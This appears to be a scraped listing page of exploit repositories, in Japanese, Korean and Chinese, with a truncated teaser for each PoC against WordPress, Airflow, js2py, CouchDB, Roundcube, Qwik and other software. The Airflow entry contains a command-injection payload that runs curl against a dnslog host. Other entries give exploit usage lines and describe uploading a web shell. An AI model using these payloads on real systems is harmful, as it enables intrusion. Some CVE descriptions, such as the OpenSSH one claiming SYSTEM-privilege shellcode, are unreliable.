CVE-2024-25600-EXPLOIT

CVE-2024-25600 - WordPress Bricks Builder リモートコード実行 RCE 🌐 WordPress用テーマ「Bricks」は、CVE-2024-25600として知られる重大なセキュリティ上の欠陥に対して脆弱であることが確認されています。この脆弱性は、Bricks...

pwnacle-fusion

pwnacle-fusion Oracle Reports 用の自動エクスプロイト、CVE-2012-3153 / CVE-2012-3152 開示してくれた @misssudo にクレジット 使い方: ./pwnacle.rb targeturl payloadurl このエクスプロイトは両方の CVE を使用して、payloadurl から .jsp シェルをアップロードします。アップロードされたシェルは /reports/images/shell.jsp からアクセス可能になります。 payloadurl には .jsp...

CVE-2026-59827

CVE-2026-59827: Metabase の H2 ネイティブクエリにおける安全でない逆シリアル化 重大度: Critical CVSS 9.9 CVE: CVE-2026-59827 アドバイザリ: GHSA-w95f-x9v9-wv36 報告者: Matheus Gutierre @Gutierre0x80 公開日: 2026年6月30日 脆弱性の概要 H2 データベース上のネイティブ SQL クエリにアクセスできる認証済みユーザーは、SELECT CASTX'...' AS OTHER クエリから返された Java オブジェクトの安全でない逆シリアル化を介して、Metaba...

CVE-2022-40127

CVE-2022-40127 Apache Airflow .env docker-compose up airflow-init docker-compose up -d waiting some times open localhost:8080 PoC 1 examplebashoperator root@kitploit: "fxoxx":"";curl uname.lxx2.535ld4zn.dnslog.pw;"" dnslog 経由 PoC 2...

CVE-2026-3288

CVE-2026-3288: rewrite-target アノテーションによる ingress-nginx 設定インジェクション キーワード: CVE-2026-3288、ingress-nginx の脆弱性、Kubernetes セキュリティ、nginx 設定インジェクション、rewrite-target アノテーション、RCE、Secret の漏えい、CWE-20、CAPEC-176、ingress-nginx CVE 2026、Kubernetes クラスターの侵害 目次 概要 脆弱性の詳細 技術的分析...

Exploit for CVE-2026-89274

CVE-2026-89274 — WP Recipe Maker Arbitrary Shortcode Execution...

CVE-2024-28397-exploit

js2py 샌드박스 탈출 CVE-2024-28397 js2py = 0.74에서 샌드박스 탈출을 통한 원격 명령 실행RCE 익스플로잇. 안전하지 않은 JavaScript 평가를 통해 호스트 시스템에서 임의의 코드를 실행할 수 있습니다. 취약점 CVE : CVE-2024-28397 구성 요소 : js2py 영향을 받는 버전 : = 0.74 영향 : 원격 코드 실행 Remote Code Execution 벡터 : JavaScript 샌드박스 탈출 취약점 분석 : CVE-2024-28397-js2py-Sandbox-Escape 특징...

Exploit for CVE-2026-92229

CVE-2026-92229 — Forminator Unauthenticated Arbitrary Shortcod...

js2py-Sandbox-Escape-CVE-2024-28397-RCE

CVE-2024-28397 js2py 샌드박스 탈출 익스플로잇 js2py 샌드박스 탈출 취약점CVE-2024-28397을 대상으로 하는 익스플로잇 스크립트 모음입니다. 이 취약점은 Python 객체 내부 조사를 통해 임의 코드 실행을 허용합니다. 🔍 취약점 개요 js2py 라이브러리에는 JavaScript의 Object.getOwnPropertyNames 메서드를 통해 내부 Python 객체에 접근하여 공격자가 임의의 Python 코드를 실행할 수 있는 치명적인 샌드박스 탈출 취약점이 있습니다. 기술적 세부 사항 CVE 식별자...

WG-CVE-2026-1555-Linux

root@kitploit: ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗██╔════╝ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║ █████╔╝███████╗ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔═══╝ ██╔═══██╗ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝...

CVE-2025-24813-PoC

CVE-2025-24813 – 개념 증명 📖 개요 이 저장소는 CVE-2025-24813 에 대한 개념 증명PoC을 포함합니다. 이 취약점은 영향을 받는 소프트웨어/제품 이름을 여기에 기재 – 권고에 따라 업데이트에 영향을 미칩니다. 이 PoC는 연구자, 방어자 및 엔지니어가 다양한 환경에서 패치를 검증할 수 있도록 안전하고 재현 가능한 방식 으로 문제를 보여줍니다. ⚠️ 면책 조항 이 PoC는 교육 및 연구 목적으로만 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오. 저자는 어떠한 오용에 대해서도 책임을 지지 않습니다...

CVE-2022-24706

CVE-2022-24706 コントリビューター ホワイトハットスクール4期39班 クム・ジョンヒョン@junghyeonkum CouchDB Erlang Distribution リモートコマンド実行の脆弱性 CVE-2022-24706 概要 Apache CouchDBは、Erlangで実装されたオープンソースのドキュメント指向NoSQLデータベースです。 Apache CouchDBはErlangで開発されているため、分散コンピューティング（クラスタリング）機能をデフォルトでサポートしています。クラスタノードはErlang/OTP Distribution...

CVE-2025-4427-CVE-2025-4428

CVE-2025-4428 & CVE-2025-4427 CVE-2025-4428 は、EPMM の DeviceFeatureUsageReportQueryRequestValidator における認証後のリモートコード実行（RCE）の脆弱性です。この脆弱性は、Spring の AbstractMessageSource を介して処理されるエラーメッセージ内でのユーザー提供入力の安全でない取り扱いに起因し、攻撃者が制御する EL（Expression Language）インジェクションを可能にします。/api/v2/featureusage エンドポイントの細工された forma...

CVE-2025-27480

CVE-2025-27480 CVE‑2025‑27480 – OpenSSH におけるリモートコード実行 この脆弱性の概要 OpenSSH バージョン 8.9p1 には、SSHUSERAUTH パケットを解析する際に発生する、微妙なバッファオーバーフローのバグがあります。クライアントは 非常に 長い「user」フィールドを含むパケットを送信でき、そのデータはメモリ内の誤った場所に格納されます。その結果、攻撃者は任意のシェルコードを注入でき、そのバージョンの OpenSSH を実行している任意のホスト上で SYSTEM 権限で実行されます。では、なぜデジャヴを感じるのでしょうか？...

CVE-2023-34468

CVE-2023-34468 — Apache NiFi ExecuteSQL H2 RUNSCRIPT RCE PoC 編集可能なApache NiFi ExecuteSQLプロセッサを悪用し、H2のRUNSCRIPTペイロードを使用してBashリバースシェル経由でリモートコマンド実行を誘発する、短いPythonのPoCです。 認可されたテストおよび研究目的のみに使用してください。所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。 動作概要 root@kitploit: ExecuteSQL processor update - H2...

CVE-2017-14980

CVE-2017-14980 漏洞利用程序 用于 CVE-2017-14980 的 PoC 漏洞利用程序——Sync Breeze Enterprise 10.0.28 中的一个 基于堆栈的缓冲区溢出 漏洞。 📖 完整的漏洞利用技术分析： 👉 https://davigsantana.github.io/posts/buffer-overflow/ 关于 此仓库包含一个 概念验证 PoC ，为教育和研究目的而开发，演示了利用 Sync Breeze Enterprise 认证 Web 界面中的输入验证漏洞进行攻击。 该漏洞允许 未经身份验证的 远程攻击者导致内存损坏并获得 远程代码执行...

n8n-RCE

n8n RCE 패치됨 n8n 워크플로를 통한 원격 코드 실행 CVE-2025-68613 기반 ⚠️ 교육 목적으로만 제작됨 📚 설치 및 사용법 🛠️ root@kitploit: $ git clone https://github.com/AbdulRKB/n8n-RCE.git $ cd n8n-RCE $ pip install -r requirements.txt $ python exploit.py -u -e -p...

CVE-2023-35813

CVE-2023-35813 - Sitecore RCE...

CVE-2025-49113

Python Script for CVE-2025-49113 사용법: python exploit.py https://ubuntu.com/security/CVE-2025-49113 설명: Roundcube Webmail 1.5.10 미만 및 1.6.x 1.6.11 미만 버전에서는 인증된 사용자가 URL의 from 매개변수가 program/actions/settings/upload.php에서 검증되지 않아 원격 코드 실행이 가능하며, 이로 인해 PHP 객체 역직렬화가 발생합니다...

CVE-2026-27971_POC

CVE-2026-27971 — Qwik server$ 未認証RCE PoC !WARNING このリポジトリには、アクティブなリモートコード実行の概念実証が含まれています。自分が所有するシステム、または明示的にテストする許可を得ているシステムに対してのみ使用してください。作者は、許可されていない使用や損害について一切の責任を負いません。 CVE-2026-27971 / GHSA-p9x5-jp3h-96mm のスタンドアロンPython概念実証です。これは、Qwik server$ RPC デシリアライゼーション機構における未認証のリモートコード実行脆弱性です。...